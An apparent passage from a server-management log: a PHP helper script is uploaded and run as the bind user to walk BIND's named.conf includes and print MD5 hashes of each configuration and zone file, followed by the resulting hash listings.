MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 17:46:32: Establishing a connection
2026-04-23 17:46:32: 

PUT: /tmp/pkp589333

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 17:46:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp589333; rm /tmp/pkp589333'

2026-04-23 17:46:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
